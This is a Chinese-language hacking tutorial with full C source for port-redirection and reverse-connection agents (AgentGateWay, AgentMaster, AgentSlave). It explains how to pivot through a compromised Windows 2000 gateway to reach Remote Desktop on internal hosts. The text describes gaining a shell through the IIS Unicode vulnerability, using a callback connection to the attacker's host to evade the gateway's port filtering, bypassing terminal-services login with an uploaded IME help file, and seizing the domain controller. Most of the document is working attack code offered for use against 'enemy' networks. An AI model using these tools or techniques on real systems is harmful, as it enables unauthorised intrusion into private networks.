作者:eyas

现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。

    也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。

    Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。没有做特别说明的话,文中提到的服务器OS都为windows 2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。

<<第一部分:利用TCP socket数据转发进入没有防火墙保护的内网>>

假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。


    我们的目标是连接上敌人内网的Terminal Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的,哈哈。

    攻击流程如下:

<1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。 


<2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。 


<3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的TermServer[192.168.1.3] 


<4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?:) 


程序代码如下: 


/********************************************************************** 


Module Name:AgentGateWay.c 


Date:2001/4/15 


CopyRight(c) eyas 


说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT, 


      就可以进入内网了 


      sock[0]==>sClient  sock[1]==>sTarget 


**********************************************************************/ 


#include <winsock2.h> 


#include <stdio.h> 


#include "TCPDataRedird.c" 


   


#define TargetIP TEXT("192.168.1.3") 


#define TargetPort (int)3389 


#define ListenPort (int)3389//监听端口 


   


#pragma comment(lib,"ws2_32.lib") 


   


int main() 


{ 


    WSADATA wsd; 


    SOCKET sListen=INVALID_SOCKET,//本机监听的socket 


            sock[2]; 


    struct sockaddr_in Local,Client,Target; 


    int iAddrSize; 


    HANDLE hThreadC2T=NULL,//C2T=ClientToTarget 


           hThreadT2C=NULL;//T2C=TargetToClient 


    DWORD dwThreadID; 


   


    __try 


    { 


        if(WSAStartup(MAKEWORD(2,2),&wsd)!=0) 


        { 


            printf("/nWSAStartup() failed:%d",GetLastError()); 


            __leave; 


        } 


        sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); 


        if(sListen==INVALID_SOCKET) 


        { 


            printf("/nsocket() failed:%d",GetLastError()); 


            __leave; 


        } 


   


        Local.sin_addr.s_addr=htonl(INADDR_ANY); 


        Local.sin_family=AF_INET; 


        Local.sin_port=htons(ListenPort); 


   


        Target.sin_family=AF_INET; 


        Target.sin_addr.s_addr=inet_addr(TargetIP); 


        Target.sin_port=htons(TargetPort); 


   


        if(bind(sListen,(struct sockaddr *)&Local,sizeof(Local))==SOCKET_ERROR) 


        { 


            printf("/nbind() failed:%d",GetLastError()); 


            __leave; 


        } 


        if(listen(sListen,1)==SOCKET_ERROR) 


        { 


            printf("/nlisten() failed:%d",GetLastError()); 


            __leave; 


        } 


        //scoket循环 


        while(1) 


        { 


            printf("/n/n*************Waiting Client Connect to**************/n/n"); 


            iAddrSize=sizeof(Client); 


            //get socket sClient 


            sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize); 


            if(sock[0]==INVALID_SOCKET) 


            { 


                printf("/naccept() failed:%d",GetLastError()); 


                break; 


            } 


            printf("/nAccept client==>%s:%d",inet_ntoa(Client.sin_addr), 


                    ntohs(Client.sin_port)); 


            //create socket sTarget 


            sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); 


            if(sock[1]==INVALID_SOCKET) 


            { 


                printf("/nsocket() failed:%d",GetLastError()); 


                __leave; 


            } 


            //connect to target port 


            if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR) 


            { 


                printf("/nconnect() failed:%d",GetLastError()); 


                __leave; 


            } 


            printf("/nconnect to target 3389 success!"); 


            //创建两个线程进行数据转发 


            hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID); 


            hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID); 


            //等待两个线程结束 


            WaitForSingleObject(hThreadC2T,INFINITE); 


            WaitForSingleObject(hThreadT2C,INFINITE); 


            CloseHandle(hThreadC2T); 


            CloseHandle(hThreadT2C); 


            closesocket(sock[1]); 


            closesocket(sock[0]);       


            printf("/n/n*****************Connection Close*******************/n/n"); 


        }//end of sock外循环 


    }//end of try 


    __finally 


    { 


        if(sListen!=INVALID_SOCKET) closesocket(sListen); 


        if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]); 


        if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]); 


        if(hThreadC2T!=NULL) CloseHandle(hThreadC2T); 


        if(hThreadT2C!=NULL) CloseHandle(hThreadT2C); 


        WSACleanup(); 


    } 


    return 0; 


} 


/************************************************************************* 


Module:TCPDataRedird.c 


Date:2001/4/16 


CopyRight(c) eyas<eyas@patching.net> 


HomePage: 
www.patching.net 


Thanks to shotgun 


说明:TCP socket数据转发,sock[0]==>sClient  sock[1]==>sTarget 


*************************************************************************/ 


#define BuffSize 20*1024 //缓冲区大小20k 


//此函数负责从Client读取数据,然后转发给Target 


DWORD WINAPI TCPDataC2T(SOCKET* sock) 


{   


    int iRet, 


        ret=-1,//select 返回值 


        iLeft, 


        idx, 


        iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize 


    char szSendToTargetBuff[BuffSize]={0}, 


         szRecvFromClientBuff[BuffSize]={0}; 


    fd_set fdread,fdwrite; 


    printf("/n/n*****************Connection Active*******************/n/n"); 


        while(1) 


            {               


                FD_ZERO(&fdread); 


                FD_ZERO(&fdwrite); 


                FD_SET(sock[0],&fdread); 


                FD_SET(sock[1],&fdwrite); 


                if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR) 


                { 


                    printf("/nselect() failed:%d",GetLastError()); 


                    break; 


                } 


                //printf("/nselect() return value ret=%d",ret); 


                if(ret>0) 


                { 


                    //sClinet可读,client有数据要发送过来 


                    if(FD_ISSET(sock[0],&fdread)) 


                    { 


                        //接收sock[0]发送来的数据 


                        iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0); 


                        if(iRet==SOCKET_ERROR) 


                        { 


                            printf("/nrecv() from sock[0] failed:%d",GetLastError()); 


                            break; 


                        } 


                        else if(iRet==0) 


                            break; 


                        printf("/nrecv %d bytes from sClinet.",iRet); 


                        //把从client接收到的数据存添加到发往target的缓冲区 


                        memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet); 


                        //刷新发往target的数据缓冲区当前buff大小 


                        iSTTBCS+=iRet; 


                        //清空接收client数据的缓冲区 


                        memset(szRecvFromClientBuff,0,BuffSize); 


                    } 


                    //sTarget可写,把从client接收到的数据发送到target 


                    if(FD_ISSET(sock[1],&fdwrite)) 


                    { 


                        //转发数据到target的3389端口 


                        iLeft=iSTTBCS; 


                        idx=0; 


                        while(iLeft>0) 


                        { 


                            iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0); 


                            if(iRet==SOCKET_ERROR) 


                            { 


                                printf("/nsend() to target failed:%d",GetLastError()); 


                                break; 


                            } 


                            printf("/nsend %d bytes to target",iRet); 


                            iLeft-=iRet; 


                            idx+=iRet; 


                        } 


                        //清空缓冲区 


                        memset(szSendToTargetBuff,0,BuffSize); 


                        //重置发往target的数据缓冲区当前buff大小 


                        iSTTBCS=0; 


                    } 


                }//end of select ret     


                Sleep(1); 


            }//end of data send & recv循环 


        return 0; 


} 


//此函数负责从target读取数据,然后发送给client 


DWORD WINAPI TCPDataT2C(SOCKET* sock) 


{   


    int iRet, 


        ret=-1,//select 返回值 


        iLeft, 


        idx, 


        iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize 


    char szRecvFromTargetBuff[BuffSize]={0}, 


         szSendToClientBuff[BuffSize]={0}; 


    fd_set fdread,fdwrite; 


   


    while(1) 


    { 


        FD_ZERO(&fdread); 


        FD_ZERO(&fdwrite); 


        FD_SET(sock[0],&fdwrite); 


        FD_SET(sock[1],&fdread); 


        if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR) 


        { 


            printf("/nselect() failed:%d",GetLastError()); 


            break; 


        } 


        if(ret>0) 


        { 


            //sTarget可读,从target接收数据 


            if(FD_ISSET(sock[1],&fdread)) 


            { 


                //接收target返回数据 


                iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0); 


                if(iRet==SOCKET_ERROR) 


                { 


                    printf("/nrecv() from target failed:%d",GetLastError()); 


                    break; 


                } 


                else if(iRet==0) 


                    break; 


                printf("/nrecv %d bytes from target",iRet); 


                //把从target接收到的数据添加到发送到client的缓冲区 


                memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet); 


                //清空接收target返回数据缓冲区 


                memset(szRecvFromTargetBuff,0,BuffSize); 


                //刷新发送到client的数据缓冲区当前大小 


                iSTCBCS+=iRet; 


            } 


            //client可写,发送target返回数据到client 


            if(FD_ISSET(sock[0],&fdwrite)) 


            { 


                //发送target返回数据到client 


                iLeft=iSTCBCS; 


                idx=0; 


                while(iLeft>0) 


                { 


                    iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0); 


                    if(iRet==SOCKET_ERROR) 


                    { 


                        printf("/nsend() to Client failed:%d",GetLastError()); 


                        break; 


                    } 


                    printf("/nsend %d bytes to Client",iRet); 


                    iLeft-=iRet; 


                    idx+=iRet; 


                } 


                //清空缓冲区 


                memset(szSendToClientBuff,0,BuffSize); 


                iSTCBCS=0; 


            } 


        }//end of select ret 


        Sleep(1); 


    }//end of while 


    return 0; 


}



<<第二部分:利用TCP socket转发和反弹TCP端口进入有防火墙保护的内网>>

事实上很多内网没有第一部分所说的那么简单啦,我们来看一个有防火墙保护的内网,前提是这个防火墙对反弹TCP端口不做限制,限制了的话,又另当别论了。假设网络拓扑如下:

[img]www.xfocus.org/other/bcjs/yc8.ht1.jpg[/img]






上面的网络拓扑是我在一次对朋友公司网站授权入侵过程中遇到的。

<1>我自己处于公司内网192.168.0.2,通过公司网关202.1.1.1到Internet,但我是网关的admin:)。

<2>敌人[其实是friend啦]的网关OS是2k adv server,在外网网卡上做了TCP/IP限制,只开放了25,53,80,110,3306这几个TCP PORT,通过一个漏洞,我得到了一个shell,可以通过IE来执行系统命令,虽然权限很低。网关有终端服务,登陆验证漏洞补丁未安装,但输入法帮助文件已经被删除了,但是我们可以通过shell把输入法帮助文件upload上去,因为他的系统权限没有设置好,我们可以写,呵呵。这样的话,我们只要能够连接到他的终端服务上去,我们就能绕过登陆验证,得到admin权限了。如何连接?有办法,用TCP socket转发。和第一部分说的一样吗?有些不同。因为他做了TCP/IP限制,我们不能连接他,只能让他来连接我们了,TCP反弹端口,呵呵。

攻击流程如下:

<1>在我的服务器202.1.1.1运行AgentMaster嗵齌CP PORT 12345,等待202.2.2.2来连接,监听TCP PORT 3389,等待我192.168.0.2连接。

<2>在敌人网关机器202.2.2.2运行AgentSlave,连接到202.1.1.1 TCP PORT 12345[注意:是反弹端口,TCP/IP过滤也拿他没办法]

<3>我自己192.168.0.2用TermClient连接到自己的服务器202.1.1.1:3389

<4>敌人网关上的AgentSlave连接到自己本身在内网的IP==>192.168.1.1:3389

<5>数据通道就建立好啦。两个代理忠实的为我们转发数据,呵呵。当我们连接自己服务器的3389,其实出来的是敌人内网的某台机器,呵呵。

后来发现敌人的主域控制器是192.168.1.4,通过前面与他网关建立的连接,利用一个漏洞轻易的取得主域的admin权限,呵呵。他可能认为主域在内网,网关又做了TCP/IP过滤,攻击者没有办法进入。我只要把AgentSlave设置为连接192.168.1.4:3389,以后就可以直接连接他的主域控制器啦,不过在网关登陆也一样。

程序代码如下[程序中所用到的TCPDataRedird.c已经贴在第一部分,那个文件做数据转发,通用的]:

/****************************************************************************** 


Module Name:AgentMaster.c 


Date:2001/4/16 


CopyRight(c) eyas 


说明:scoket代理主控端,负责监听两个TCP socket,等待攻击者和AgentSlave来连接,两个 


        scoket都连接成功后,开始转发数据 


        sock[0]是client==>sock[0]  sock[1]是target==>sock[1] 


******************************************************************************/ 


#include <stdio.h> 


#include <winsock2.h> 


#include "TCPDataRedird.c" 


   


#pragma comment(lib,"ws2_32.lib") 


   


#define TargetPort 3389//伪装的target的监听端口 


#define LocalPort  12345//等待AgentSlave来connect的端口 


int main() 


{ 


    WSADATA wsd; 


    SOCKET s3389=INVALID_SOCKET,//本机监听的socket,等待攻击者连接 


            s1981=INVALID_SOCKET,//监听的socket,等待AgentSlave来连接 


            sock[2]={INVALID_SOCKET,INVALID_SOCKET}; 


    struct sockaddr_in Local3389,Local1981,Attack,Slave; 


    int iAddrSize; 


    HANDLE hThreadC2T=NULL,//C2T=ClientToTarget 


           hThreadT2C=NULL;//T2C=TargetToClient 


    DWORD dwThreadID; 


   


    __try 


    { 


        //load winsock library 


        if(WSAStartup(MAKEWORD(2,2),&wsd)!=0) 


        { 


            printf("/nWSAStartup() failed:%d",GetLastError()); 


            __leave; 


        } 


        //create socket 


        s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); 


        if(s3389==INVALID_SOCKET) 


        { 


            printf("/nsocket() failed:%d",GetLastError()); 


            __leave; 


        } 


        //create socket 


        s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); 


        if(s1981==INVALID_SOCKET) 


        { 


            printf("/nsocket() failed:%d",GetLastError()); 


            __leave; 


        } 


        //fill the struct 


        Local3389.sin_addr.s_addr=htonl(INADDR_ANY); 


        Local3389.sin_family=AF_INET; 


        Local3389.sin_port=htons(TargetPort); 


   


        Local1981.sin_addr.s_addr=htonl(INADDR_ANY); 


        Local1981.sin_family=AF_INET; 


        Local1981.sin_port=htons(LocalPort); 


        //bind s3389 for attacker 


        if(bind(s3389,(struct sockaddr *)&Local3389,sizeof(Local3389))==SOCKET_ERROR) 


        { 


            printf("/nbind() failed:%d",GetLastError()); 


            __leave; 


        } 


        //listen for attacker to connect 


        if(listen(s3389,1)==SOCKET_ERROR) 


        { 


            printf("/nlisten() failed:%d",GetLastError()); 


            __leave; 


        } 


        //bind s1981 for AgentSlave 


        if(bind(s1981,(struct sockaddr *)&Local1981,sizeof(Local1981))==SOCKET_ERROR) 


        { 


            printf("/nbind() failed:%d",GetLastError()); 


            __leave; 


        } 


        //listen for AgentSlave to connect 


        if(listen(s1981,1)==SOCKET_ERROR) 


        { 


            printf("/nlisten() failed:%d",GetLastError()); 


            __leave; 


        } 


        //socket循环 


        while(1) 


        { 


            //wait for AgentSlave to connect 


            iAddrSize=sizeof(Slave); 


            sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize); 


            if(sock[1]==INVALID_SOCKET) 


            { 


                printf("/naccept() failed:%d",GetLastError()); 


                break; 


            } 


            printf("/nAccept AgentSlave==>%s:%d",inet_ntoa(Slave.sin_addr), 


                    ntohs(Slave.sin_port)); 


            //wait for Attacker to connect 


            iAddrSize=sizeof(Attack); 


            sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize); 


            if(sock[0]==INVALID_SOCKET) 


            { 


                printf("/naccept() failed:%d",GetLastError()); 


                break; 


            } 


            printf("/nAccept Attacker==>%s:%d",inet_ntoa(Attack.sin_addr), 


                    ntohs(Attack.sin_port)); 


            //创建两个线程进行数据转发 


            hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID); 


            hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID); 


            //等待两个线程结束 


            WaitForSingleObject(hThreadC2T,INFINITE); 


            CloseHandle(hThreadC2T); 


            CloseHandle(hThreadT2C); 


            closesocket(sock[0]); 


            closesocket(sock[1]); 


        }//end of socket while 


    }//end of try 


    __finally 


    { 


        //clean all 


        if(s3389!=INVALID_SOCKET) closesocket(s3389); 


        if(s1981!=INVALID_SOCKET) closesocket(s1981); 


        if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]); 


        if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]); 


        if(hThreadC2T!=NULL) CloseHandle(hThreadC2T); 


        if(hThreadT2C!=NULL) CloseHandle(hThreadT2C); 


        WSACleanup(); 


    } 


    return 0; 


} 


/*********************************************************************************** 


Module:AgentSlave.c 


Date:2001/4/17 


Copyright(c)eyas 


HomePage: 
www.patching.net 


说明:这个程序负责连接最终目标,连接主控端,然后转发数据 


       这里连接到AgenrMaster的socket相当与sClient==>sock[0], 


              连接到最终目标的socoket是sTarget==>sock[1] 


***********************************************************************************/ 


#include <stdio.h> 


#include <winsock2.h> 


#include "TCPDataRedird.c" 


   


#pragma comment(lib,"ws2_32.lib") 


   


#define TargetIP "192.168.1.3" 


#define TargetPort (int)3389 


#define AgentMasterIP "202.1.1.1" 


#define AgentMasterPort (int)12345 




int main() 


{ 


       WSADATA wsd; 


       SOCKET sock[2]={INVALID_SOCKET,INVALID_SOCKET}; 


       struct sockaddr_in Master,Target; 


       HANDLE hThreadC2T=NULL,//C2T=ClientToTarget 


                 hThreadT2C=NULL;//T2C=TargetToClient 


       DWORD dwThreadID; 


   


       __try 


       { 


              //load winsock library 


              if(WSAStartup(MAKEWORD(2,2),&wsd)!=0) 


              { 


                     printf("/nWSAStartup() failed:%d",GetLastError()); 


                     __leave; 


              } 


              //循环 


              while(1) 


              { 


                     //create client socket 


                     sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); 


                     if(sock[0]==INVALID_SOCKET) 


                     { 


                            printf("/nsocket() failed:%d",GetLastError()); 


                            __leave; 


                     } 


                     //create target socket 


                     sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); 


                     if(sock[1]==INVALID_SOCKET) 


                     { 


                            printf("/nsocket() failed:%d",GetLastError()); 


                            __leave; 


                     } 


                     //fill struct 


                     Target.sin_family=AF_INET; 


                     Target.sin_addr.s_addr=inet_addr(TargetIP); 


                     Target.sin_port=htons(TargetPort); 


   


                     Master.sin_family=AF_INET; 


                     Master.sin_addr.s_addr=inet_addr(AgentMasterIP); 


                     Master.sin_port=htons(AgentMasterPort); 


                     //connect to AgentMaster 


                     if(connect(sock[0],(struct sockaddr *)&Master,sizeof(Master))==SOCKET_ERROR) 


                     { 


                            //连接失败后,等待一会儿再连 


                            printf("/nconnect() to master failed:%d",GetLastError()); 


                            closesocket(sock[0]); 


                            closesocket(sock[1]); 


                            Sleep(5000); 


                            continue; 


                     } 


                     printf("/nconnect to %s %d success!",AgentMasterIP,AgentMasterPort); 


                     //connect to target 


                     if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR) 


                     { 


                            printf("/nconnect() to target failed:%d",GetLastError()); 


                            __leave; 


                     } 


                     printf("/nconnect to %s %d success!",TargetIP,TargetPort); 


                     //创建两个线程进行数据转发 


                     hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID); 


                     hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID); 


                     //等待两个线程结束 


                     WaitForSingleObject(hThreadC2T,INFINITE); 


                     CloseHandle(hThreadC2T); 


                     CloseHandle(hThreadT2C); 


                     closesocket(sock[0]); 


                     closesocket(sock[1]); 


              }//end of while 


       }//end of try 


       __finally 


       { 


              if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]); 


              if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]); 


              if(hThreadC2T!=NULL) CloseHandle(hThreadC2T); 


              if(hThreadT2C!=NULL) CloseHandle(hThreadT2C); 


              WSACleanup(); 


       } 


       return 0; 


}